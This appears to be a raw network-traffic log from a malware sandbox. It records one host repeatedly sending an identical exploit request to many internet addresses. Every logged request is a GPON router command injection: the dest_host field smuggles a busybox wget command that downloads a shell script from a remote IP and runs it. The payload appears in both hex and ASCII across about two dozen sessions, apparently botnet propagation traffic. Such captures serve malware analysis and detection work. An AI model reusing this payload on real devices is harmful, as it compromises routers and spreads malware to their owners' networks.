Mar 2, 2024 12:36:51.843296051 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	39188	94.142.249.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843305111 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	34672	37.95.173.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843347073 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	58090	2.204.112.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843370914 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	60674	94.212.240.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843384027 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	45324	2.174.180.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843410969 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	42588	94.204.58.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843436956 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	53228	37.137.87.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843452930 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	54882	5.30.161.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843466043 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	37506	118.200.29.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843511105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	60116	94.2.22.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843529940 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	42684	178.35.144.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843564034 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	47114	79.15.209.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843590975 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	52922	210.57.122.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843628883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	44686	109.124.179.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843650103 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	47538	5.115.20.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843663931 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	38256	210.136.224.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843687057 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	35932	118.226.98.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843722105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	41874	210.207.124.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843746901 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	46574	212.110.244.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843777895 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	44440	118.45.218.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843822002 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	59586	2.61.62.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843822002 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	54262	79.194.33.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843859911 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	54150	79.23.0.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843894958 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	57764	210.177.121.92	443

Timestamp	Bytes transferred	Direction	Data
